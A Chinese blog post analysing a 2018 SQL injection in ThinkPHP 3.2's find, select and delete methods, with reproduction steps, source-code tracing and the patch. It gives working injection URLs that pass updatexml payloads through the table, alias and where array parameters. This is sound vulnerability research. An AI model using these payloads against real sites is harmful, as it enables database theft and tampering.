ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

栏目: PHP · 发布时间: 5年前

内容简介:北京时间 2018年8月23号11:25分 星期四,tp团队对于已经停止更新的thinkphp 3系列进行了一处安全更新,经过分析,此次更新修正了由于下载源码:

0x00 前言

ThinkPHP3.2 框架 <a href='https://www.codercto.com/topics/18630.html'>sql</a> 注入漏洞分析(2018-08-23)

北京时间 2018年8月23号11:25分 星期四,tp团队对于已经停止更新的thinkphp 3系列进行了一处安全更新,经过分析,此次更新修正了由于 select() , find() , delete() 方法可能会传入数组类型数据产生的多个sql注入隐患。

0x01 漏洞复现

下载源码: git clone https://github.com/top-think/thinkphp.git

使用git checkout 命令将版本回退到上一次commit: git checkout 109bf30254a38651c21837633d9293a4065c300b

使用phpstudy等集成 工具 搭建thinkphp,修改apache的配置文件 httpd-conf

DocumentRoot "" 为thinkphp所在的目录。

ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

重启phpstudy,访问 127.0.0.1 ,输出thinkphp的欢迎信息,表示thinkphp已正常运行。

ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

搭建数据库,数据库为 tptest ,表为 user ,表里面有三个字段 id , username , pass

ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

修改 Application\Common\Conf\config.php 配置文件,添加数据库配置信息。

ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

之后在 Application\Home\Controller\IndexController.class.php 添加以下代码:

public function test()
    {
       $id = i('id');
       $res = M('user')->find($id);
       //$res = M('user')->delete($id);
       //$res = M('user')->select($id);
    }

针对 select()find() 方法 ,有很多地方可注,这里主要列举三个 tablealiaswhere ,更多还请自行跟踪一下 parseSql 的各个 parseXXX 方法,目测都是可行的,比如 having , group 等。

table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

delete() 方法的话同样,这里粗略举三个例子, table , alias , where ,但使用 tablealias 的时候,同时还必须保证 where 不为空(详细原因后面会说)

where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

alias: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

table: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1

ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

0x02 漏洞分析

通过github上的commit 对比其实可以粗略知道,此次更新主要是在 ThinkPHP/Library/Think/Model.class.php 文件中,其中对于 deletefindselect 三个函数进行了修改。

delete 函数

ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

select 函数

ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

find 函数

ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

对比三个方法修改的地方都有一个共同点:

把外部传进来的 $options ,修改为 $this->options ,同时不再使用 $this->_parseOptions 对于 $options 进行表达式分析。

思考是因为 $options 可控,再经过 _parseOptions 函数之后产生了sql注入。

一 select 和 find 函数

find 函数为例进行分析( select 代码类似),该函数可接受一个 $options 参数,作为查询数据的条件。

$options 为数字或者字符串类型的时候,直接指定当前查询表的主键作为查询字段:

if (is_numeric($options) || is_string($options)) {
            $where[$this->getPk()] = $options;
            $options               = array();
            $options['where']      = $where;
}

同时提供了对复合主键的查询,看到判断:

if (is_array($options) && (count($options) > 0) && is_array($pk)) {
            // 根据复合主键查询
            ......
        }

要进入复合主键查询代码,需要满足 $options 为数组同时 $pk 主键也要为数组,但这个对于表只设置一个主键的时候不成立。

那么就可以使 $options 为数组,同时找到一个表只有一个主键,就可以绕过两次判断,直接进入 _parseOptions 进行解析。

if (is_numeric($options) || is_string($options)) {//$options为数组不进入
            $where[$this->getPk()] = $options;
            $options               = array();
            $options['where']      = $where;
        }
        // 根据复合主键查找记录
        $pk = $this->getPk();
        if (is_array($options) && (count($options) > 0) && is_array($pk)) { //$pk不为数组不进入
            ......
        }
        // 总是查找一条记录
        $options['limit'] = 1;
        // 分析表达式
        $options = $this->_parseOptions($options); //解析表达式
        // 判断查询缓存
        .....
        $resultSet = $this->db->select($options); //底层执行

之后跟进 _parseOptions 方法,(分析见代码注释)

if (is_array($options)) { //当$options为数组的时候与$this->options数组进行整合
            $options = array_merge($this->options, $options);
        }

        if (!isset($options['table'])) {//判断是否设置了table 没设置进这里
            // 自动获取表名
            $options['table'] = $this->getTableName();
            $fields           = $this->fields;
        } else {
            // 指定数据表 则重新获取字段列表 但不支持类型检测
            $fields = $this->getDbFields(); //设置了进这里
        }

        // 数据表别名
        if (!empty($options['alias'])) {//判断是否设置了数据表别名
            $options['table'] .= ' ' . $options['alias']; //注意这里,直接拼接了
        }
        // 记录操作的模型名称
        $options['model'] = $this->name;

        // 字段类型验证
        if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //让$optison['where']不为数组或没有设置不进这里
            // 对数组查询条件进行字段类型检查
           ......
        }
        // 查询过后清空sql表达式组装 避免影响下次查询
        $this->options = array();
        // 表达式过滤
        $this->_options_filter($options);
        return $options;

$options 我们可控,那么就可以控制为数组类型,传入 $options['table']$options['alias'] 等等,只要提层不进行过滤都是可行的。

同时我们可以不设置 $options['where'] 或者设置 $options['where'] 的值为字符串,可绕过字段类型的验证。

可以看到在整个对 $options 的解析中没有过滤,直接返回,跟进到底层 ThinkPHP\Libray\Think\Db\Diver.class.php ,找到 select 方法,继续跟进最后来到 parseSql 方法,对 $options 的值进行替换,解析。

因为 $options['table']$options['alias'] 都是由 parseTable 函数进行解析,跟进:

if (is_array($tables)) {//为数组进
            // 支持别名定义
          ......
        } elseif (is_string($tables)) {//不为数组进
            $tables = array_map(array($this, 'parseKey'), explode(',', $tables));
        }
        return implode(',', $tables);

当我们传入的值不为数组,直接进行解析返回带进查询,没有任何过滤。

同时 $options['where'] 也一样,看到 parseWhere 函数

$whereStr = '';
        if (is_string($where)) {
            // 直接使用字符串条件
            $whereStr = $where; //直接返回了,没有任何过滤
        } else {
            // 使用数组表达式
           ......
        }
        return empty($whereStr) ? '' : ' WHERE ' . $whereStr;

二 delete函数

delete 函数有些不同,主要是在解析完 $options 之后,还对 $options['where'] 判断了一下是否为空,需要我们传一下值,使之不为空,从而继续执行删除操作。

......
        // 分析表达式
        $options = $this->_parseOptions($options);
        if (empty($options['where'])) { //注意这里,还判断了一下$options['where']是否为空,为空直接返回,不再执行下面的代码。
            // 如果条件为空 不进行删除操作 除非设置 1=1
            return false;
        }
        if (is_array($options['where']) && isset($options['where'][$pk])) {
            $pkValue = $options['where'][$pk];
        }

        if (false === $this->_before_delete($options)) {
            return false;
        }
        $result = $this->db->delete($options);
        if (false !== $result && is_numeric($result)) {
            $data = array();
            if (isset($pkValue)) {
                $data[$pk] = $pkValue;
            }

            $this->_after_delete($data, $options);
        }
        // 返回删除记录个数
        return $result;

0x03 漏洞修复

ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

不再分析由外部传进来的 $options ,使得不再可控 $options['xxx']


以上所述就是小编给大家介绍的《ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Don't Make Me Think

Don't Make Me Think

Steve Krug / New Riders Press / 18 August, 2005 / $35.00

Five years and more than 100,000 copies after it was first published, it's hard to imagine anyone working in Web design who hasn't read Steve Krug's "instant classic" on Web usability, but people are ......一起来看看 《Don't Make Me Think》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

随机密码生成器
随机密码生成器

多种字符组合密码

SHA 加密
SHA 加密

SHA 加密工具